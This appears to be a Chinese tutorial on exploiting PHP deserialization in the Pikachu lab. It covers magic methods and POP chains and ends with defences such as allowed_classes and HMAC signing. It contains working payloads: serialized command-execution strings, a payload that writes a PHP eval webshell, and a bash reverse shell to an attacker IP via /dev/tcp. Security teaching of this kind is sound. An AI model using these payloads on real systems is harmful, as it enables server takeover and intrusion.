1. 项目缘起:从靶场到实战的必经之路
在网络安全的学习和实战演练中,我们经常听到“靶场”这个词。它就像一个虚拟的射击训练场,里面预设了各种类型的“靶子”——也就是安全漏洞,供我们安全从业者或学习者进行无风险的攻击和防御练习。Pikachu靶场,就是这样一个在国内安全圈子里非常知名的、专门为Web安全初学者设计的综合训练平台。它覆盖了SQL注入、XSS、文件上传、RCE(远程代码执行)等几乎所有常见的Web漏洞类型。而今天我们要深入探讨的,就是其中关于PHP反序列化漏洞的关卡。
为什么PHP反序列化漏洞值得单独拿出来说?因为它在实际渗透测试和CTF比赛中出现的频率极高,危害性也极大。一个成功的反序列化漏洞利用,往往意味着攻击者可以直接在服务器上执行任意代码,拿到服务器的控制权(也就是常说的“getshell”)。相比于SQL注入可能需要一步步“拖库”,文件上传需要绕过各种过滤,反序列化攻击一旦条件成熟,常常是“一键直达”的效果。Pikachu靶场里的这个关卡,虽然场景简单,但它完美地揭示了这类漏洞的核心原理和利用链条。理解它,就等于拿到了打开许多真实世界漏洞大门的其中一把钥匙。接下来,我们就从最基础的概念开始,一步步拆解这个漏洞,并最终在Pikachu靶场中将其复现和利用。
2. 核心概念拆解:序列化与反序列化到底是什么?
在深入漏洞之前,我们必须先搞清楚两个基础但至关重要的概念:序列化(Serialization)和反序列化(Unserialization)。这是理解整个漏洞的基石。
你可以把序列化想象成“打包”。假设你有一个复杂的乐高模型(一个PHP对象),里面由很多不同形状、不同颜色的零件(对象的属性)按照特定结构拼装而成。现在你想把这个模型完整地寄给朋友,但直接寄整个模型容易损坏,也不方便运输。怎么办?你会把它小心翼翼地拆开,把每一个零件及其所在的位置信息,用一张清单详细地记录下来。这个过程,就是序列化。在PHP中,序列化就是把一个对象的状态(属性值)转换成一个可以存储或传输的字符串格式。这个字符串包含了对象的类名、属性名、属性值以及它们的类型和结构信息。
反之,反序列化就是“拆包并复原”。你的朋友收到了你的零件清单(序列化字符串),他按照清单上的说明,找到对应的零件(也许需要先有这些零件的模具,即类定义),然后一步步把乐高模型重新拼装成原来的样子。在PHP中,反序列化就是把这个字符串重新转换回一个活生生的、可操作的对象。
听起来很合理,对吧?问题就出在这个“复原”的过程。PHP的反序列化机制在重建对象时,会自动调用一些特殊的“魔术方法”。这些方法的名字以双下划线__开头,是PHP面向对象编程中的约定。对于反序列化漏洞而言,最关键的两个魔术方法是:
__wakeup(): 当一个对象被反序列化(即从字符串重建)时,这个方法会自动被调用。它通常用于重新建立数据库连接、初始化资源等。__destruct(): 当一个对象被销毁时(例如脚本执行结束,或对象被显式unset),这个方法会自动被调用。它通常用于关闭连接、清理临时文件等。
漏洞的根源在于:攻击者可以控制反序列化过程中的数据(那个字符串),从而控制被重建对象的属性值。如果这个对象的类定义中存在__wakeup()或__destruct()方法,并且这些方法中的代码在操作对象属性时存在危险行为(比如把某个属性值直接用于执行系统命令),那么攻击者通过精心构造序列化字符串,就能“遥控”服务器执行恶意代码。
3. Pikachu靶场环境搭建与代码审计
理论说再多,不如亲手试一下。我们先来把靶场环境跑起来。
3.1 靶场部署
Pikachu靶场通常是一个完整的PHP项目。假设你已经有了PHP(版本5.4以上即可,建议7.x)和Apache/Nginx的运行环境。部署非常简单:
- 从GitHub或相关渠道下载Pikachu的源码包。
- 将其解压到你的Web服务器根目录(例如
/var/www/html/或htdocs)。 - 根据其
README或安装说明,初始化数据库(通常会提供一个SQL文件让你导入)。 - 在浏览器中访问对应的目录,比如
http://localhost/pikachu/,如果看到可爱的皮卡丘界面,说明环境搭建成功。
注意:永远不要在公网服务器上部署带有漏洞的靶场,除非你完全清楚如何隔离和管控其网络访问。建议在本地虚拟机或隔离的Docker容器中进行练习。
3.2 漏洞代码分析
找到Pikachu中反序列化的关卡(路径通常类似/pikachu/vul/unserilization)。我们来看它的核心代码。一个典型的、存在漏洞的示例可能如下(此为模拟代码,用于说明原理):
// File: unser.php class VulnClass { public $cmd = 'whoami'; // 一个危险的属性,默认值是系统命令 function __destruct() { // 当对象销毁时,执行$this->cmd中的命令 system($this->cmd); } } // 用户输入点 $data = $_GET['data']; if(isset($data)){ // 关键漏洞点:未经过任何过滤,直接反序列化用户输入 $obj = unserialize($data); }这段代码的致命缺陷一目了然:
- 定义了一个
VulnClass类,其中有一个属性$cmd。 - 该类有一个
__destruct()魔术方法,方法体是system($this->cmd)。这意味着,一旦这个类的对象被销毁,就会尝试执行$cmd属性中存储的系统命令。 - 程序直接从
$_GET[‘data’]获取用户输入,并直接传递给unserialize()函数。
攻击链条非常清晰:攻击者可以构造一个序列化字符串,这个字符串在反序列化后会生成一个VulnClass对象,并且将对象的$cmd属性设置为任意他想要的命令(如cat /etc/passwd或反弹shell的命令)。当PHP脚本执行完毕,这个对象被销毁,__destruct()方法被自动触发,攻击者的命令就被执行了。
在真实的Pikachu靶场中,代码可能会稍微复杂一些,比如类名不同、属性更多,或者命令执行点藏在__wakeup()里,但核心模式万变不离其宗:用户可控输入 + 危险魔术方法 + 未经校验的反序列化操作。
4. 漏洞利用实战:手把手构造Payload
理解了原理,我们来动手构造攻击载荷(Payload)。我们的目标是:让服务器执行ipconfig(Windows)或ifconfig(Linux)命令,查看网络配置信息。
4.1 构造恶意序列化字符串
首先,我们需要在本地编写一个PHP脚本,来生成我们想要的序列化字符串。因为我们需要控制$cmd的值。
// File: generate_payload.php class VulnClass { // 注意:类名必须与靶场中的漏洞类完全一致! public $cmd = 'ifconfig'; // 我们将要执行的命令 } $obj = new VulnClass(); $payload = serialize($obj); // 序列化对象 echo $payload; echo "\n"; echo "URL编码后的Payload: " . urlencode($payload);运行这个脚本(php generate_payload.php),你会得到类似这样的输出:
O:9:"VulnClass":1:{s:3:"cmd";s:8:"ifconfig";}以及它的URL编码形式。
我们来拆解一下这个字符串:
O:表示这是一个对象(Object)。9:表示对象类名的长度是9个字符。“VulnClass”:对象的类名。1:表示这个对象有1个属性。{s:3:“cmd”;s:8:“ifconfig”;}这是属性的序列化。里面是一个键值对。s:3:“cmd”:表示键(属性名)是一个字符串(string),长度为3,内容是cmd。s:8:“ifconfig”:表示值(属性值)是一个字符串,长度为8,内容是ifconfig。
关键点:类名必须匹配。如果靶场中的类名是
TestClass,而你生成时用了VulnClass,反序列化会失败,因为PHP找不到VulnClass的定义。所以,第一步永远是审计代码,确定准确的类名和属性结构。
4.2 发起攻击
假设靶场漏洞页面的URL是http://localhost/pikachu/vul/unserilization/unser.php,并且它通过data参数接收序列化数据。
那么,我们构造的攻击URL就是:
http://localhost/pikachu/vul/unserilization/unser.php?data=O:9:"VulnClass":1:{s:3:"cmd";s:8:"ifconfig";}将这段URL在浏览器中访问,或者用curl命令请求。如果漏洞存在,并且服务器是Linux系统,你应该能在页面返回内容中看到服务器的网络接口信息。这就证明我们成功利用了反序列化漏洞,执行了系统命令。
4.3 进阶利用:获取Webshell
执行一个简单的命令只是开始。在真实的渗透测试中,我们的目标是获得一个持久的、交互式的控制通道,也就是Webshell。通常,我们会利用漏洞来写入一个Webshell文件。
假设我们知道网站根目录是/var/www/html/pikachu/,我们可以尝试写入一个最简单的PHP Webshell。我们需要修改生成Payload的脚本:
// File: generate_webshell_payload.php class VulnClass { public $cmd = 'echo \"<?php eval(\\$_POST[\\'cmd\\']);?>\" > /var/www/html/pikachu/shell.php'; } $obj = new VulnClass(); $payload = serialize($obj); echo urlencode($payload);这个Payload会让服务器执行echo命令,将一句话木马<?php eval($_POST[‘cmd’]);?>写入到shell.php文件中。然后,攻击者就可以通过访问http://localhost/pikachu/shell.php,并使用POST方式传递cmd参数来执行任意PHP代码,从而完全控制服务器。
重要警告与心得:在实际靶场练习中,写入文件可能会因为目录权限问题(www-data用户无权写入)而失败。这是非常好的一个“坑”,它逼着你去思考其他方法,比如:
- 寻找可写目录:使用
find / -type d -writable 2>/dev/null命令查找。- 反弹Shell:如果命令执行成功但无法写Webshell,可以尝试用
bash -c ‘bash -i >& /dev/tcp/攻击机IP/端口 0>&1’这样的命令,将服务器的Shell会话反弹到你的监听端口上。这需要你提前在攻击机上用nc -lvnp 端口进行监听。- 利用现有文件:有时可以覆盖日志文件、缓存文件等,使其包含PHP代码,然后通过文件包含漏洞去执行。
5. 漏洞的深度挖掘与链条构造
Pikachu靶场的例子是教科书式的,直接明了。但在真实世界和更复杂的CTF题目中,漏洞利用链(POP Chain)的构造才是难点和精髓。危险的方法可能不是直接出现在__destruct()里,而是散布在不同的类和方法中。
5.1 什么是POP链?
POP(Property-Oriented Programming)链,中文常叫“面向属性编程”链。它的核心思想是:通过控制一个对象的属性,该属性是另一个对象,从而在反序列化过程中,让程序自动调用一系列本不该连续调用的魔术方法,最终达到恶意目的。
举个例子:
- 类A的
__destruct()方法里,调用了$this->inner->save()。 - 类B的
save()方法里,执行了eval($this->data)。
如果$this->inner属性可以被控制,那么在反序列化时,我们就能让一个A对象内部包含一个B对象。当A对象销毁时,其__destruct()被调用,进而调用B对象的save()方法,最终执行代码。我们需要构造的序列化字符串,就是一个A对象,其inner属性指向一个我们精心设置好的B对象。
5.2 在Pikachu或其他场景中寻找POP链
面对一个未知的反序列化入口点,我们的审计思路应该是:
- 定位入口:找到
unserialize()函数,看它的参数是否可控。 - 搜索魔术方法:在整个代码库中搜索
__wakeup(),__destruct(),__toString()(当对象被当作字符串使用时调用),__call()(调用不可访问方法时触发)等。 - 分析危险函数:在这些魔术方法内部,以及它们可能调用的其他方法内部,寻找
eval(),assert(),system(),exec(),file_put_contents()等危险函数。 - 追踪属性传递:检查危险函数的参数是否来源于对象的某个属性,而这个属性是否在反序列化时可以被我们控制。
- 串联调用链:如果危险函数不在起始的魔术方法里,就看这个魔术方法调用了谁,被调用的方法又属于哪个类,这个类的对象能否通过属性传递进来。像拼图一样,把调用链找出来。
这个过程往往需要仔细阅读源代码,有时甚至要借助代码审计工具进行静态分析。
6. 防御之道:如何避免引入反序列化漏洞?
作为开发者,了解攻击是为了更好的防御。以下是一些关键且有效的防御措施:
根本方法:避免反序列化不可信数据这是最彻底的一招。如果不是绝对必要,不要使用
unserialize()函数。对于数据传输和存储,考虑使用更安全的格式,如JSON(json_encode/json_decode)。严格校验:使用白名单如果必须使用反序列化,务必对反序列化的数据来源进行严格限制。例如,只反序列化来自内部、可信系统的数据。对于来自用户输入、网络请求的数据,原则上不应进行反序列化。
签名与完整性验证在序列化数据存储或传输前,为其添加一个基于密钥的HMAC签名。在反序列化前,先验证签名是否有效、数据是否被篡改。这可以防止攻击者篡改或构造恶意序列化字符串。
使用安全的反序列化器考虑使用不依赖于魔术方法的、更安全的反序列化库。例如,PHP的
json_decode()解析JSON对象为数组或标准类(stdClass)对象,这个过程不会自动调用任何类的魔术方法,安全性高得多。魔术方法的安全编码在编写包含
__wakeup()和__destruct()等魔术方法的类时,要保持警惕。避免在这些方法中执行关键性、危险性的操作,或者至少要对操作的对象属性进行严格的类型和内容检查。PHP特定配置与补丁
unserialize_callback_func: 可以在php.ini中设置这个选项,指定一个回调函数。当反序列化过程中需要实例化一个未定义的类时,会调用这个函数,你可以在这里进行拦截和日志记录。allowed_classes参数: 从PHP 7.0开始,unserialize()函数增加了第二个可选参数$options,其中可以设置allowed_classes,只允许反序列化指定的类名列表,其他类会被反序列化为__PHP_Incomplete_Class对象,其魔术方法不会被调用。这是非常推荐的一种方式。
// 只允许反序列化MySafeClass和AnotherSafeClass $data = unserialize($input, ['allowed_classes' => ['MySafeClass', 'AnotherSafeClass']]);
7. 从靶场到真实漏洞的思考
通过Pikachu这个简单的靶场,我们走完了从理解原理、审计代码、构造Payload到实际利用的完整过程。但真实世界的漏洞远比赛题复杂:
- 代码更庞大:类更多,调用链更深,需要耐心和技巧去挖掘。
- 过滤存在:可能会有
str_replace、正则过滤等,需要绕过。例如,如果过滤了system,你可能要想办法用shell_exec、反引号`、passthru,或者利用动态函数调用$func($cmd)。 - 无回显:命令执行了,但结果不显示在页面上(盲注)。这时就需要用
curl、wget把结果发送到你的服务器,或者用ping、sleep命令来判断漏洞是否存在。 - 权限限制:Web服务器进程(如www-data、nginx用户)权限很低,很多操作受限制。提权(Privilege Escalation)是另一个大课题。
练习靶场就像在驾校学车,它给了你一个安全的环境去熟悉油门、刹车和方向盘。而真正的道路(真实网络环境)充满了未知的障碍和风险。在Pikachu之后,你可以尝试去分析一些真实开源CMS、框架的历史反序列化漏洞(CVE),或者在更复杂的综合靶场(如DVWA、WebGoat、各种CTF赛题)中继续磨练你的技巧。记住核心:控制数据流,寻找自动执行的跳板(魔术方法),最终指向危险函数。这套方法论,是应对大多数反序列化漏洞的不二法门。